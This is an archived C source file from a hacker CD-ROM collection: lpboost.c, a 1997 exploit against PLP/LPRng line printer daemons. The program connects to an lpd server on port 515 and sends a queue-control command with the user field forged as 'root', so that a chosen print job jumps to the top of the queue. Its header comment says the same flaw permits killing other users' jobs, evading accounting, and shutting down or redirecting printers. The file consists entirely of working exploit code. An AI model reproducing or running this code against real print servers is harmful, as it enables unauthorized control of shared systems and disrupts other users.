home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 4 / hacker04 / 04_HACK04.ISO / xploits / lpboost / lpboost.c.txt
Encoding:
Text File  |  2002-03-18  |  3.8 KB  |  119 lines

  1.     /*
  2.      * lpboost.c
  3.      *
  4.      * Simple  exploit  to  demonstrate  problem  with PLP/LPRng  user
  5.      * `authentication': boost your print job's priority by moving  it
  6.      * to the top of the queue.
  7.      *
  8.      * This is the most harmless exploit of this problem. More serious
  9.      * ones  include circumvention  of the  accounting system, killing
  10.      * other  users' jobs,  shutting down  printers, redirecting them,
  11.      * etc.
  12.      *
  13.      * Copyright (C) 1997, Olaf Kirch <okir@lst.de>
  14.      */
  15.     #include <sys/types.h>
  16.     #include <sys/socket.h>
  17.     #include <netinet/in.h>
  18.     #include <arpa/inet.h>
  19.     #include <netdb.h>
  20.     #include <string.h>
  21.     #include <stdio.h>
  22.     #include <unistd.h>
  23.     #include <errno.h>
  24.  
  25.     static int      doconnect(char *hostname);
  26.     static void     dosend(int fd, unsigned char ch, char *string);
  27.  
  28.     int
  29.     main(int argc, char **argv)
  30.     {
  31.             char    buffer[8192];
  32.             char    hostbuf[256], *hostname = hostbuf;
  33.             int     fd;
  34.  
  35.             if (argc == 4) {
  36.                     hostname = argv[3];
  37.             } else if (argc != 3) {
  38.                     fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
  39.                     exit(1);
  40.             } else {
  41.                     /* If lpd.perms allows queue manipulation only from
  42.                      * the local host (SERVER keyword), must use FQDN
  43.                      * rather than localhost (127.0.0.1) */
  44.                     gethostname(hostbuf, sizeof(hostbuf));
  45.             }
  46.  
  47.             if ((fd = doconnect(hostname)) < 0) {
  48.                     fprintf(stderr, "Failed to connect to %s: %s\n",
  49.                             hostname, strerror(errno));
  50.                     exit(1);
  51.             }
  52.  
  53.             /* Assemble control message */
  54.             sprintf(buffer, "%s %s topq %s %s",
  55.                             argv[1],        /* printer */
  56.                             "root",         /* user */
  57.                             argv[1],        /* printer */
  58.                             argv[2]);       /* job # */
  59.  
  60.             /* Transmit control message and pick up status */
  61.             dosend(fd, 6, buffer);
  62.  
  63.             exit (0);
  64.     }
  65.  
  66.     static int
  67.     doconnect(char *hostname)
  68.     {
  69.             struct hostent  *hp;
  70.             struct sockaddr_in sin;
  71.             int             fd;
  72.  
  73.             if (!(hp = gethostbyname(hostname))) {
  74.                     fprintf(stderr, "%s: unknown host\n", hostname);
  75.                     exit(1);
  76.             }
  77.  
  78.             memset(&sin, 0, sizeof(sin));
  79.             sin.sin_family = AF_INET;
  80.             sin.sin_addr = *(struct in_addr *) hp->h_addr;
  81.             sin.sin_port = htons(515);
  82.  
  83.             if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  84.                     perror("socket");
  85.                     exit(1);
  86.             }
  87.             if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
  88.                     perror("connect");
  89.                     exit(1);
  90.             }
  91.  
  92.             return fd;
  93.     }
  94.  
  95.     static void
  96.     dosend(int fd, unsigned char ch, char *string)
  97.     {
  98.             char    buffer[256], cr = '\n';
  99.             int     slen = string? strlen(string) : 0;
  100.  
  101.             if (write(fd, &ch, 1) != 1 ||
  102.                 (string && (write(fd, string, slen) != slen
  103.                          || write(fd, &cr, 1) != 1))) {
  104.                     perror("write");
  105.                     exit(1);
  106.             }
  107.  
  108.             while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) {
  109.                     buffer[slen] = '\0';
  110.                     fprintf(stderr, "lpd: %s\n", buffer);
  111.             }
  112.             if (slen == 0 || errno == EPIPE)
  113.                     return;
  114.             perror("read (errmsg)");
  115.             exit(1);
  116.     }
  117.  
  118.  
  119.